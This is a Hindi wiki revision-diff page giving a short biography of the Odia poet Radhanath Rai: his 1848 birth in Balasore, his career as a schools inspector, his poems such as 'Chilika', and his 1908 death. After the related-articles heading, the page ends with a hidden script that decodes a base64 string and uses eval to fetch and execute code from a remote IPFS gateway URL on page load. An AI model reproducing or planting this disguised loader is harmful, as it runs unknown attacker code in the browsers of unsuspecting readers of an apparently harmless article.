"राधानाथ राय" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (श्रेणी:नया पन्ना अक्टूबर-2011 (को हटा दिया गया हैं।))
 
(5 सदस्यों द्वारा किये गये बीच के 7 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
+
{{सूचना बक्सा साहित्यकार
'''राधानाथ राय''' (जन्म- [[27 सितम्बर]] 1848; मृत्यु- [[17 अप्रैल]], 1908) [[उड़िया भाषा]]-[[साहित्य]] के प्रमुख कवि थे।  
+
|चित्र=Radhanath-Rai.jpg
 +
|चित्र का नाम=
 +
|पूरा नाम=राधानाथ राय
 +
|अन्य नाम=
 +
|जन्म= [[27 सितम्बर]], 1848
 +
|जन्म भूमि=[[बालेश्वर]]
 +
|मृत्यु=[[17 अप्रैल]], [[1908]]
 +
|मृत्यु स्थान=
 +
|अभिभावक=
 +
|पालक माता-पिता=
 +
|पति/पत्नी=
 +
|संतान=
 +
|कर्म भूमि=[[भारत]]
 +
|कर्म-क्षेत्र=
 +
|मुख्य रचनाएँ='चिलिका, 'केदारगौरी', 'चंद्रभागा', 'महायात्रा', 'ऊषा' आदि।
 +
|विषय=
 +
|भाषा=
 +
|विद्यालय=
 +
|शिक्षा=
 +
|पुरस्कार-उपाधि=
 +
|प्रसिद्धि=[[उड़िया भाषा|उड़िया]] कवि तथा साहित्यकार
 +
|विशेष योगदान=
 +
|नागरिकता=भारतीय
 +
|संबंधित लेख=
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=ये अपने ज़िले में मैट्रिक पास करने वाले पहले व्यक्ति थे।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
'''राधानाथ राय''' ([[अंग्रेज़ी]]: ''Radhanath Rai'', जन्म- [[27 सितम्बर]], 1848; मृत्यु- [[17 अप्रैल]], [[1908]]) [[उड़िया भाषा]]-[[साहित्य]] के प्रमुख [[कवि]] थे। वे ऐसे बंगाली कुल से थे, जो पीढ़ियों से ओडिशा में ही बसा था। उनके काव्यों ने ओड़िया कविता में एक नयी परपरा की सृष्टि की और बीसवीं शताब्दी के लगभग मध्य तक के परवर्ती कवियों को प्रभावित किया। ओड़िया कविता को राधानाथ राय ने नये रूपों, नये विषयों, एक नये उपागम और पूर्वापेक्षा से अधिक उन्मुक्तता के प्रवर्त्तन से समृद्ध किया।
 
==परिचय==  
 
==परिचय==  
राधानाथ राय का जन्म 1848 ई. में बालेश्वर ज़िले के केदारपुर गाँव में हुआ था। राधानाथ उड़िया भाषा-साहित्य के प्रमुख कवि थे। वे शरीर से दुर्बल थे। उन दिनों उच्च शिक्षा के लिए [[कोलकाता]] जाना पड़ता था। स्वास्थ्य के कारण वे मैट्रिक की परीक्षा के बाद कोलकाता नहीं रुक सके। लेकिन एक विशेष बात यह थी कि वे अपने ज़िले में मैट्रिक पास करनेवाले पहले व्यक्ति थे। इसलिए उनको अध्यापक की नौकरी सरलता से मिल गई और आगे चलकर वे स्कूलों के डिवीजनल इंस्पेक्टर पद तक पहुँचे।
+
राधानाथ राय का जन्म 1848 ई. में [[बालेश्वर]] के केदारपुर गाँव में हुआ था। राधानाथ उड़िया भाषा-साहित्य के प्रमुख कवि थे। वे शरीर से दुर्बल थे। उन दिनों उच्च शिक्षा के लिए [[कोलकाता]] जाना पड़ता था। स्वास्थ्य के कारण वे मैट्रिक की परीक्षा के बाद कोलकाता नहीं रुक सके। लेकिन एक विशेष बात यह थी कि वे अपने ज़िले में मैट्रिक पास करने वाले पहले व्यक्ति थे। इसलिए उनको अध्यापक की नौकरी सरलता से मिल गई और आगे चलकर वे स्कूलों के डिवीजनल इंस्पेक्टर पद तक पहुँचे।
==रचना==  
+
==रचनाएँ==  
स्वाध्याय से राधानाथ राय ने अनेक भाषाओं का ज्ञान प्राप्त कर लिया। काव्य की प्रतिभा उनमें नैसर्गिक थी। वे प्रकृति के पुजारी थे और प्रकृति में उन्हें परमात्मा के सत्ता के दर्शन होते थे। इस दृष्टि से उनकी मनोरम काव्य कृति 'चिलिका' बहुत प्रसिद्ध हुई। उन्होंने पौराणिक, ऐतिहासिक और काल्पनिक आधार पर 'केदारगौरी', 'चंद्रभागा', 'महायात्रा', 'ऊषा' आदि काव्य ग्रंथों की रचना की। उनकी रचनाओं से देश प्रेम और गरीबों के प्रति सहानभूति का परिचय मिलता है।  
+
स्वाध्याय से राधानाथ राय ने अनेक भाषाओं का ज्ञान प्राप्त कर लिया। काव्य की प्रतिभा उनमें नैसर्गिक थी। वे प्रकृति के पुजारी थे और प्रकृति में उन्हें परमात्मा के सत्ता के दर्शन होते थे। इस दृष्टि से उनकी मनोरम काव्य कृति 'चिलिका' बहुत प्रसिद्ध हुई। उन्होंने पौराणिक, ऐतिहासिक और काल्पनिक आधार पर 'केदारगौरी', 'चंद्रभागा', 'महायात्रा', 'ऊषा' आदि काव्य ग्रंथों की रचना की। उनकी रचनाओं से देश प्रेम और ग़रीबों के प्रति सहानभूति का परिचय मिलता है।  
 
==निधन==  
 
==निधन==  
राधानाथ राय का निधन 17 अप्रैल, 1908 को हुआ था।  
+
राधानाथ राय का निधन [[17 अप्रैल]], [[1908]] को हुआ था।
  
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
{{cite book | last =शर्मा | first =लीलाधर  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती, दिल्ली | location =भारत डिस्कवरी पुस्तकालय  | language =हिन्दी  | pages =पृष्ठ 719 | chapter =}}
 
{{cite book | last =शर्मा | first =लीलाधर  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती, दिल्ली | location =भारत डिस्कवरी पुस्तकालय  | language =हिन्दी  | pages =पृष्ठ 719 | chapter =}}
 
 
<references/>
 
<references/>
 
==बाहरी कड़ियाँ==
 
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{साहित्यकार}}
 
{{साहित्यकार}}
[[Category:आधुनिक साहित्यकार]]
+
[[Category:आधुनिक साहित्यकार]][[Category:कवि]][[Category:साहित्यकार]][[Category:साहित्य कोश]][[Category:आधुनिक कवि]][[Category:चरित कोश]]
[[Category:कवि]]
 
[[Category:साहित्यकार]]
 
[[Category:साहित्य कोश]]
 
[[Category:आधुनिक कवि]]
 
[[Category:चरित कोश]]
 
 
 
 
__INDEX__
 
__INDEX__
__NOTOC__
 

05:42, 17 अप्रैल 2018 के समय का अवतरण

राधानाथ राय
Radhanath-Rai.jpg
पूरा नाम राधानाथ राय
जन्म 27 सितम्बर, 1848
जन्म भूमि बालेश्वर
मृत्यु 17 अप्रैल, 1908
कर्म भूमि भारत
मुख्य रचनाएँ 'चिलिका, 'केदारगौरी', 'चंद्रभागा', 'महायात्रा', 'ऊषा' आदि।
प्रसिद्धि उड़िया कवि तथा साहित्यकार
नागरिकता भारतीय
अन्य जानकारी ये अपने ज़िले में मैट्रिक पास करने वाले पहले व्यक्ति थे।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

राधानाथ राय (अंग्रेज़ी: Radhanath Rai, जन्म- 27 सितम्बर, 1848; मृत्यु- 17 अप्रैल, 1908) उड़िया भाषा-साहित्य के प्रमुख कवि थे। वे ऐसे बंगाली कुल से थे, जो पीढ़ियों से ओडिशा में ही बसा था। उनके काव्यों ने ओड़िया कविता में एक नयी परपरा की सृष्टि की और बीसवीं शताब्दी के लगभग मध्य तक के परवर्ती कवियों को प्रभावित किया। ओड़िया कविता को राधानाथ राय ने नये रूपों, नये विषयों, एक नये उपागम और पूर्वापेक्षा से अधिक उन्मुक्तता के प्रवर्त्तन से समृद्ध किया।

परिचय

राधानाथ राय का जन्म 1848 ई. में बालेश्वर के केदारपुर गाँव में हुआ था। राधानाथ उड़िया भाषा-साहित्य के प्रमुख कवि थे। वे शरीर से दुर्बल थे। उन दिनों उच्च शिक्षा के लिए कोलकाता जाना पड़ता था। स्वास्थ्य के कारण वे मैट्रिक की परीक्षा के बाद कोलकाता नहीं रुक सके। लेकिन एक विशेष बात यह थी कि वे अपने ज़िले में मैट्रिक पास करने वाले पहले व्यक्ति थे। इसलिए उनको अध्यापक की नौकरी सरलता से मिल गई और आगे चलकर वे स्कूलों के डिवीजनल इंस्पेक्टर पद तक पहुँचे।

रचनाएँ

स्वाध्याय से राधानाथ राय ने अनेक भाषाओं का ज्ञान प्राप्त कर लिया। काव्य की प्रतिभा उनमें नैसर्गिक थी। वे प्रकृति के पुजारी थे और प्रकृति में उन्हें परमात्मा के सत्ता के दर्शन होते थे। इस दृष्टि से उनकी मनोरम काव्य कृति 'चिलिका' बहुत प्रसिद्ध हुई। उन्होंने पौराणिक, ऐतिहासिक और काल्पनिक आधार पर 'केदारगौरी', 'चंद्रभागा', 'महायात्रा', 'ऊषा' आदि काव्य ग्रंथों की रचना की। उनकी रचनाओं से देश प्रेम और ग़रीबों के प्रति सहानभूति का परिचय मिलता है।

निधन

राधानाथ राय का निधन 17 अप्रैल, 1908 को हुआ था।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 719।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>